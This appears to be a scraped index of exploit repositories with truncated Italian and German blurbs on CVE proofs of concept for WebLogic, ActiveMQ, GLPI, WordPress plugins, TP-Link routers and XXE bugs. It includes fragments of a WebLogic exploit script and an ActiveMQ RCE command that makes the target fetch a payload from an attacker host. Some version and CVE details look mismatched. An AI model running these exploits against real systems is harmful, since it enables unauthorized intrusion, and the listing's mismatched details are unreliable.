CVE-2020-14882_ALL

CVE-2020-14882ALL CVE-2020-14882ALL è uno strumento di sfruttamento completo che supporta il rilevamento dell'echo dei comandi, l'echo di comandi in batch e l'esecuzione di comandi senza echo tramite file XML esterno. Moduli richiesti: requests, http.client （Lo strumento è destinato esclusivament...

CVE-2024-41817-poc

ImageMagick Esecuzione Arbitraria di Codice CVE-2024-41817 Proof of Concept exploit per le versioni di ImageMagick = 9.4.0 Pacchetti Python: paramiko Installazione root@kitploit: git clone https://github.com/Dxsk/CVE-2024-41817-poc/ cd CVE-2024-41817-poc pip install -r requirements.txt Utilizzo...

fusionauth-samlv2

fusionauth-samlv2 Dieses Repository enthält SAML-v2.0-Bindings in Java mit JAXB. Sie können diese Bibliothek verwenden, um SAML-Anfragen und -Antworten zu verarbeiten. Beispielcode finden Sie in den Tests. Sicherheitsmeldungen Wenn Sie eine Schwachstelle oder einen anderen sicherheitsrelevanten...

Poc-CVE-2024-32962-xml-crypto

Poc-CVE-2024-32962-xml-crypto Una simulazione di un attacco che sfrutta la vulnerabilità CVE-2024-32962 per falsificare messaggi SAML e ottenere permessi non autorizzati Presto sarà disponibile. Poc...

external_expat-2.1.0_CVE-2022-43680

Expat, versione 2.1.0 Questo è Expat, una libreria C per l'analisi di XML, scritta da James Clark. Expat è un parser XML orientato ai flussi. Ciò significa che è necessario registrare dei gestori handler presso il parser prima di iniziare l'analisi. Questi gestori vengono chiamati quando il parse...

exploit-cve-2023-36808

CVE-2023-36808 - GLPI Iniezione SQL non autenticata Vulnerabilità Le versioni GLPI viene iniettato direttamente in una query SQL senza sanitizzazione: root@kitploit: SELECT id FROM glpiagents WHERE deviceid = '' Non è richiesta autenticazione. La vulnerabilità consente l'accesso completo in lettu...

EXPLOIT-CVE-2026-8832-

EXPLOIT-CVE-2026-8832 Un tool di sfruttamento per testare le vulnerabilità di Esecuzione Remota di Codice RCE nel plugin WordPress WPCode Lite Insert Headers and Footers v2.3.5. Questa vulnerabilità deriva dalla registrazione del Tipo di Post Personalizzato CPT wpcode senza definire un...

external_expact_AOSP10_r33_CVE-2022-25314

Expat, Release 2.2.6 Questo è Expat, una libreria C per il parsing di XML, avviata da James Clark nel 1997. Expat è un parser XML orientato al flusso. Ciò significa che è possibile registrare gestori handlers con il parser prima di avviare il parsing. Questi gestori vengono chiamati quando il...

cve-2025-58360

GeoServer: CVE-2025-58360 Dichiarazione di non responsabilità Il codice e le informazioni contenuti in questo repository sono esclusivamente a scopo educativo e di ricerca. Il proprietario del repository non si assume alcuna responsabilità per qualsiasi cosa tu faccia con il codice e/o le...

expat_2_1_0_CVE-2024-28757

Expat, versione 2.1.0 Questo è Expat, una libreria C per l'analisi di XML, scritta da James Clark. Expat è un parser XML orientato allo stream. Ciò significa che è necessario registrare handler presso il parser prima di iniziare l'analisi. Questi handler vengono chiamati quando il parser rileva l...

CVE-2020-24148

CVE-2020-24148 Server-side request forgery SSRF nel plugin Import XML and RSS Feeds import-xml-feed 2.0.1 per WordPress tramite il parametro data in un'azione moovereadxml. Codice vulnerabile: /moove-actions.php: root@kitploit: ... public function moovereadxml $args = array 'data' = escsql...

CVE-2023-46604

CVE-2023-46604 Costruire un docker-compose con 2 immagini: macchina vittima e macchina target, secondo l'ambiente richiesto. Sulla macchina vittima, avviare ActiveMQ Passare alla macchina attaccante: • Avviare il servizio HTTP per inviare il PoC: python3 -m http.server • Usare netcat per mettersi...

CVE-2022-45047

CVE-2022-45047 POC,EXP,chatGPT per me codice root@kitploit: import requests targeturl = "http://127.0.0.1:7001" CVE-2022-45047 def exploitweblogic: headers = "Content-Type": "text/xml", "User-Agent": "Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:93.0 Gecko/20100101 Firefox/93.0", "Accept-Encoding"...

CVE-2026-63077

Nicht authentifizierte Remote-Code-Ausführung in JetBrains TeamCity CVE-2026-63077 Übersicht Dies ist ein Proof-of-Concept-Exploit-Skript für CVE-2026-63077. Organisationen können dieses Skript verwenden, um ihre Erkennungs- und Behebungsmaßnahmen zu validieren. Für eine vollständige technische...

CVE-2017-8056

CVE-2017-8056 CVE-2017-8056 XML-RPC Exploit DoS ⭐ PER LINUX : sudo apt-get update sudo apt-get install python3 sudp apt-get install python3-pip pip3 install colorama fakeuseragent pystyle 🧨 ESEGUI IL TOOL : python3 main.py ⭐ PER WINDOWS : Scarica e installa Python3 :...

CVE-2026-3227-TP-Link-authenticated-RCE

CVE-2026-3227: Iniezione di Comandi OS nei Router TP-Link Per maggiori informazioni, vedere https://vulners.com/cve/CVE-2026-3227 Una vulnerabilità persistente e autenticata di iniezione di comandi OS nel firmware dei router TP-Link che può causare il bricking del dispositivo o una potenziale...

Tika-CVE-2025-66516-Lab

CVE-2025-66516 Ambiente di verifica minimale Questo progetto serve a verificare la CVE-2025-66516 vulnerabilità di iniezione di entità esterne XML in Apache Tika. Introduzione alla vulnerabilità Apache Tika 3.2.1 e versioni precedenti, durante l'analisi di file PDF contenenti moduli XFA, non...

PoC_CVE-2017-3164_CVE-2017-1262

Apache Solr Poc CVE-2017-3164 CVE-2017-12629 Dieser Ordner enthält Beispiel-Exploits für Apache Solr CVE-2017-3164 CVE-2017-12629 Nur für Bildungszwecke und mit voller Erlaubnis des Besitzers des Apache Solr Servers zu verwenden. Sie benötigen die IP oder den DNS-Namen des Apache Solr Servers sow...

CVE-2019-14678

CVE-2019-14678: XML-Externe Entität in SAS XML Mapper SAS XML Mapper 9.45 weist eine XML-Externe-Entität XXE Sicherheitslücke auf, die von böswilligen Angreifern auf verschiedene Weise ausgenutzt werden kann. Beispiele sind lokales Dateilesen, Out-of-Band-Dateiexfiltration,...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Projekt-Referenz Dieses Projekt ist ein in Python umgeschriebenes exp, basierend auf dem exp des Projekts https://github.com/X1r0z/ActiveMQ-RCE. Verwendung root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Der Parameter -p ist standardmäßig der...